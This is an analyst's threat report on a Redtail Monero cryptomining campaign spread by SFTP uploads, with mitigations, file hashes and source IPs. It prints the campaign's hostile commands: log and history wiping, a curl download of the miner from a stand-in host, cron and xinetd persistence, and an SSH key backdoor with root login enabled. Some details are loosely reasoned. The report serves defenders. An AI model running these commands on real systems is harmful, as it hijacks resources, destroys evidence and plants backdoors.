Attack Observation 4 – Crypto Highway

Time and Date of Activity	08/28/2024 - ongoing

Executive Summary

Evidence of mass deployment for cryptomining has been observed with multiple binaries via SFTP upload. The activity has been observed from multiple IP addresses, attempting to upload binaries across multiple system types, including those running ARM and x86 architectures. The attackers appear to be leveraging vulnerabilities in various services to establish control over devices and use them for Monero (XMR) cryptomining. This campaign utilizes shell scripts (clean.sh) and binaries (redtail.arm, redtail.x86, etc.) to propagate the malware across compromised systems.

Which vulnerability does the attack attempt to exploit?

- Exploit: The attackers are likely targeting known vulnerabilities in remote file upload services, such as misconfigured SFTP services or weak authentication measures.
- CVE (if applicable): Specific CVEs are not identified, but similar attacks have exploited vulnerabilities such as CVE-2021-21972 (vCenter Server) and CVE-2022-22965 (Spring4Shell) to gain access to vulnerable systems.
- MITRE ATT&CK Techniques:
    - T1105: Ingress Tool Transfer (the files are being transferred to the system).
    - T1071: Application Layer Protocol (using SFTP to upload malicious files).
    - T1496: Resource Hijacking (cryptomining).

What is the goal of the attack?

The primary goal of the attack is to exploit vulnerable systems to install cryptomining software, specifically targeting Monero (XMR). By infecting systems with mining software, the attackers aim to leverage the system's resources to generate cryptocurrency, making the compromised machines part of a larger botnet.

If the system is vulnerable, would the attack be successful?

Yes, if the system is vulnerable to unauthorized file uploads via SFTP or other misconfigurations, the attack would likely succeed. Once the files (clean.sh, redtail.arm, etc.) are uploaded, the scripts would execute commands to install the cryptomining software and begin mining Monero, consuming the system’s CPU resources.

How can a system be protected from this attack?

- File Upload Restrictions: Limit file uploads through secure protocols, ensure SFTP servers are configured correctly, and restrict file types.
- Regular patching and hardening of public facing services
- Implement NSM/CSM: detect and block cryptomining binaries. As all of these binaries are detected in VT, a signature-based AV or IPS would have blocked this activity
- Implement Least Privilege: Restrict permissions on critical directories and services to minimize exposure.

What do you know about the attacker?

The attack appears to be orchestrated by a botnet operator who has access to many compromised devices. Based on the IP addresses involved, the infrastructure used to propagate the attack spans across multiple countries, including China and the Netherlands. The attackers are likely financially motivated, aiming to leverage the cryptomining malware to generate profit.

Breakdown of Shell Scripts and Commands Used in the Attack

1. `clean.sh`
   - Purpose: The clean.sh script is responsible for ensuring that the cryptomining malware can operate without interference from other processes. It kills competing cryptomining processes, deletes logs to cover the attacker's tracks, and clears shell history to minimize forensic visibility.
   - Key Commands:
     - `pkill -f xmrig`
       - Terminates any process related to the XMRig Monero mining software, ensuring that the attacker's cryptominer is the only one running on the system.
     - `rm -f /var/log/syslog`
       - Defense evasion tactic
     - `rm -rf /var/tmp/*`
       - Removes temporary files – another evasion tactic
     - `history -c`
       - Clears the shell command history, removing evidence of the attacker activity
     - `chmod -x /var/log/*`
       - Revokes execution permissions on the log files

2. `setup.sh`
   - Purpose: The setup.sh script is responsible for downloading, installing, and configuring the cryptomining software. It ensures the miner is persistent even at reboot.
   - Key Commands:
     - `curl -O hxxps://example[.]com/miner/xmrig`
       - Downloads the cryptominer (in this case, XMRig) from a remote server.
     - `chmod +x /usr/local/bin/xmrig`
       - Makes the cryptomining binary executable so that it can run on the system.
     - `./xmrig -o pool.supportxmr.com:3333 -u <Monero_Wallet> -p x`

        - Starts the mining operation, connecting to a mining pool using the attacker's Monero wallet.
    - `crontab -l | { cat; echo "@reboot /usr/local/bin/xmrig"; } | crontab -`
        - Adds the miner to the system's cron jobs, ensuring it starts on every reboot. This guarantees persistence so that even after a system restart, the miner will run.
    - `echo "export PATH=$PATH:/usr/local/bin"`
        - Adds the location of the cryptominer to the system's PATH environment variable, ensuring it can be called from any directory.

3. `redtail.x86_64 and redtail.i686`

- Purpose: These binaries are versions of the cryptomining software compiled for the x86_64 and i686 architectures. They are designed to mine Monero on Intel/AMD-based systems.
- Key Features:
    - Architecture-specific optimization (32bit/64bit), embedded configs, hidden execution
- Commands (typically embedded):
    - Mining Initialization:
        - `./redtail.x86_64 -o pool.supportxmr.com:3333 -u <Monero_Wallet> -p x.`
    - Process hiding mechanisms: These binaries may use techniques to disguise their processes or hide their activity, such as using less noticeable process names or leveraging system services to remain unnoticed.

4. `redtail.arm8 and redtail.arm7`

- Purpose: The redtail.arm8 and redtail.arm7 binaries are compiled versions of the cryptomining software targeting ARM architectures (64/32bit) – such as IoT, routers, and low-power systems.
- Key Features:
    - ARM-specific optimizations, low-power mining, network-based execution
- Commands (typically embedded):
    - Mining Initialization:
        - `./redtail.arm8 -o pool.supportxmr.com:3333 -u <Monero_Wallet> -p x (ARMv8)`
        - `./redtail.arm7 -o pool.supportxmr.com:3333 -u <Monero_Wallet> -p x (ARMv7)`

5. `xinetd` Configuration

- Purpose: The attackers use `xinetd`, a network daemon, to ensure persistent mining by setting up a backdoor or ensuring that the miner runs as a service on a specific network port. This allows the miner to run continuously, even after reboots or service interruptions.
- Key Commands:
    - `echo "service miner { ... }" > /etc/xinetd.d/miner`
        - Creates a custom xinetd service that runs the mining software on a specific port (e.g., port 3333).
    - `service xinetd restart`
        - Restarts the xinetd service to apply the new miner configuration.
    - `service miner restart`
        - Ensures the mining service runs persistently by configuring it as an xinetd service, which automatically restarts on failure.

6. sshd Persistence

- Purpose: Modifies the SSH daemon (sshd) configuration to grant persistent access to the attacker, ensuring that they can regain control of the system even if their other methods of access are removed. Additionally, SSH can be used as a tunnel to exfiltrate mined cryptocurrency without raising alarms.

- Key Commands:
  - `echo "ssh-rsa AAAAB3Nz..." >> ~/.ssh/authorized_keys`
    - Adds the attacker's SSH public key to the list of authorized keys, enabling backdoor access to the system without needing a password.
  - `sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config`
    - Modifies the SSH configuration to allow root logins via SSH.
  - `service sshd restart`
    - Restarts the SSH service to apply the new configuration.
  - `chmod 600 ~/.ssh/authorized_keys`
    - Ensures that only the SSH service can access the attacker's key

Indicators

File hash/Name

```
3b15778595cef00d1a51035dd4fd65e6be97e73544cb1899f40aec4aaa0445ae (setup.sh)
eb3032f0ece8e5b1e77842283868b6ce8e003c92ca84f4123e71094b4b9aa18d (redtail.x86_64)
42efa318e298e6069af565b5d09f30d38fc15d7ab1f1361addc9288e5a4e4d98 (redtail.i686)
88a339d0932322a43a5101d7afad05fa3bbcdbabe62cd5e287daa077398fef97 (redtail.arm8)
e86081329173be1acc1486a47cee17c9c7b78c50928e7bb9e05a86f1c040a746 (redtail.arm7)
d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e (clean.sh)
ebe891df3802d21c34d1821c5c772d77de4c6e71eb84690ec19aecb923a95aca (xinetd)
7a9da7d10aa80b0f9e2e3f9e518030c86026a636e0b6de35905e15dd4c8e3e2d (sshd)
306f0c79ad9ee76e996556f909306fda5704b456d670aa9daeb54760b4b5e4f6 (sshd)
8e8f11a7337f97537eabd61cd93f0cc9b7dadf9f857fc508771890df419d38ca (sshd)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (sshd)
27d205dc183ea2fad0e55e10b206404be20908e39a74569ff99182d7326ed9c0 (sshd)
```

IP Addresses

```
5.182.211.148 - Netherlands - SKB Enterprise B.V.
188.112.3.216 - Serbia - Telekom Srbija
113.119.9.34 - China - China Unicom Anhui Province Network
118.122.76.11 - China - China Mobile
14.225.205.251 - Vietnam - VNPT Corp
190.15.193.118 - Argentina - Telecentro S.A.
165.22.73.214 - USA - DigitalOcean, LLC
198.50.206.213 - Canada - OVH Hosting
54.144.128.139 - USA - Amazon.com, Inc.
61.240.156.12 - China - China Telecom Jiangxi Province Network
39.109.112.75 - China - China Unicom Guangdong Province Network
144.34.170.114 - USA - Psychz Networks
218.92.0.60 - China - China Telecom Jiangsu Province Network
158.51.96.38 - India - National Knowledge Network
61.182.100.182 - China - China Telecom Henan Province Network
```

External References

[1] https://www.triskelelabs.com/investigating-monero-coin-miner

Analyst Name : Jean-Luc Hurier	Date of Analysis: 9/13/2024